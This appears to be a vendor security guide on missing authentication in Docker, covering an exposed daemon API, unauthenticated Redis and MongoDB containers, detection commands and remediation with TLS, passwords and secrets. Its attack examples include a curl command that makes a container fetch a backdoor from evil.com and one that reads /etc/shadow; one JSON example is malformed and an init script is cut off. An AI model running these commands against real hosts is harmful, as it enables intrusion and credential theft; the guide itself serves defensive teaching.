HIGH missing authenticationdocker

Missing Authentication on Docker

How Missing Authentication Manifests in Docker

Missing authentication in Docker environments often appears in exposed management APIs and container orchestration interfaces. The most common Docker-specific vulnerability occurs when the Docker daemon's REST API is left accessible without authentication. By default, Docker listens on a Unix socket, but many deployments mistakenly expose it over TCP without proper access controls.

Consider this vulnerable configuration in /etc/docker/daemon.json:

{
  "hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"]
}

This exposes the Docker API on port 2375 without TLS or authentication, allowing anyone on the network to control containers. An attacker can list containers, create new ones, or execute commands inside running containers:

# List containers
curl http://target:2375/containers/json

# Create a malicious container
curl -X POST http://target:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image": "alpine", "Cmd": ["wget", "http://evil.com/backdoor"]}'

# Execute commands in existing containers
curl -X POST http://target:2375/containers/<id>/exec \
  -H "Content-Type: application/json" \
  -d '{"Cmd": ["sh", "-c", "cat /etc/shadow"]}, "AttachStderr": true, "AttachStdout": true}'

Another Docker-specific manifestation occurs in containerized applications that expose management interfaces. Many Docker images include default credentials or no authentication at all for administrative endpoints. For example, Redis containers often expose the Redis CLI on port 6379 without authentication:

version: '3'
services:
  redis:
    image: redis:latest
    ports:
      - "6379:6379"
    command: redis-server --appendonly yes

This allows any network-connected client to read/write data, execute Lua scripts, or trigger denial-of-service conditions. Similar issues appear in MongoDB (port 27017), Elasticsearch (port 9200), and other data services when deployed without authentication.

Docker Compose files often compound these issues by exposing internal services to the public internet. A development environment might look like:

services:
  api:
    build: ./api
    ports:
      - "8080:8080"
    environment:
      - DATABASE_URL=mongodb://db:27017/api
  db:
    image: mongo:latest
    ports:
      - "27017:27017"

Here, the MongoDB instance is exposed directly to the internet without authentication, allowing anyone to access or modify the database.

Docker-Specific Detection

Detecting missing authentication in Docker environments requires examining both the Docker daemon configuration and the exposed services within containers. Start by checking the Docker daemon's listening addresses:

sudo netstat -tlnp | grep docker
# or
sudo ss -tlnp | grep docker

Look for TCP listeners on ports 2375 (unencrypted) or 2376 (TLS). If you see 2375 exposed, the daemon is running without authentication. You can verify this by attempting to connect:

curl http://localhost:2375/version

A successful response indicates an unauthenticated Docker API.

For containerized applications, scan exposed ports for default configurations. Many Docker images include default credentials that should be changed:

Service Default Port Common Vulnerability
Redis 6379 No authentication enabled
MongoDB 27017 No authentication, data exposure
Elasticsearch 9200 Unauthenticated search/admin
Kubernetes API 6443 Missing authentication/authorization

middleBrick provides Docker-specific scanning that tests these endpoints without requiring credentials. It attempts to connect to common Docker management ports and containerized service APIs, identifying missing authentication patterns:

middlebrick scan http://target:2375
middlebrick scan http://target:6379
middlebrick scan http://target:27017

The scanner tests for unauthenticated access, attempting to retrieve version information, list resources, or execute simple commands. It identifies vulnerabilities like:

  • Unauthenticated Docker daemon access
  • Redis without AUTH command
  • MongoDB without authentication enabled
  • Elasticsearch without security plugins
  • Unprotected Kubernetes API endpoints

For Docker Compose environments, middleBrick can scan the entire stack by providing the base URL of the deployment. It maps out the exposed services and tests each for authentication requirements, providing a comprehensive security assessment of your containerized application.

Docker-Specific Remediation

Remediating missing authentication in Docker environments requires both Docker daemon configuration changes and application-level security controls. For the Docker daemon itself, always use TLS with client authentication:

{
  "hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2376"],
  "tlsverify": true,
  "tlscacert": "/etc/docker/ca.pem",
  "tlscert": "/etc/docker/server-cert.pem",
  "tlskey": "/etc/docker/server-key.pem"
}

Generate certificates using OpenSSL or Docker's built-in CA functionality. Clients must present valid certificates to connect:

# Server configuration
dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem

# Client connection
docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=host:2376 version

For containerized applications, enable authentication at the service level. For Redis:

services:
  redis:
    image: redis:latest
    command: redis-server --requirepass ${REDIS_PASSWORD}
    environment:
      - REDIS_PASSWORD=your-secure-password
    ports:
      - "6379:6379"

For MongoDB, enable authentication and create an admin user:

services:
  mongo:
    image: mongo:latest
    command: mongod --auth
    environment:
      - MONGO_INITDB_ROOT_USERNAME=admin
      - MONGO_INITDB_ROOT_PASSWORD=${MONGO_PASSWORD}
    ports:
      - "27017:27017"

Or use a custom initialization script:

#!/bin/bash
mongo <

For applications exposing APIs, implement authentication middleware. Using Node.js/Express:

const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();

app.use(express.json());

function authenticateToken(req, res, next) {
  const authHeader = req.headers['authorization'];
  const token = authHeader && authHeader.split(' ')[1];
  
  if (!token) return res.sendStatus(401);
  
  jwt.verify(token, process.env.ACCESS_TOKEN_SECRET, (err, user) => {
    if (err) return res.sendStatus(403);
    req.user = user;
    next();
  });
}

// Protected endpoint
app.get('/api/data', authenticateToken, (req, res) => {
  res.json({ data: 'protected resource', user: req.user });
});

Finally, use Docker secrets for managing credentials in production:

services:
  app:
    build: ./app
    secrets:
      - redis_password
      - mongo_password

secrets:
  redis_password:
    external: true
  mongo_password:
    external: true

This ensures credentials aren't stored in version control and are properly managed by Docker's secret management system.

Related CWEs: authentication

CWE IDNameSeverity
CWE-287Improper Authentication CRITICAL
CWE-306Missing Authentication for Critical Function CRITICAL
CWE-307Brute Force HIGH
CWE-308Single-Factor Authentication MEDIUM
CWE-309Use of Password System for Primary Authentication MEDIUM
CWE-347Improper Verification of Cryptographic Signature HIGH
CWE-384Session Fixation HIGH
CWE-521Weak Password Requirements MEDIUM
CWE-613Insufficient Session Expiration MEDIUM
CWE-640Weak Password Recovery HIGH

Frequently Asked Questions

How can I test if my Docker daemon is accessible without authentication?

Run curl http://localhost:2375/version or curl http://target-ip:2375/version. If you get a JSON response with version information, your Docker daemon is exposed without authentication. You can also check network listeners with sudo ss -tlnp | grep docker to see if port 2375 is listening on 0.0.0.0.

What's the risk of exposing Redis or MongoDB containers without authentication?

Unauthenticated Redis allows anyone to read/write data, execute Lua scripts, trigger denial-of-service via KEYS * commands, or use your server as a DDoS amplifier. Unauthenticated MongoDB exposes all databases to public access, allowing data theft, modification, or deletion. Both can also be used as part of cryptojacking or malware distribution campaigns by attackers.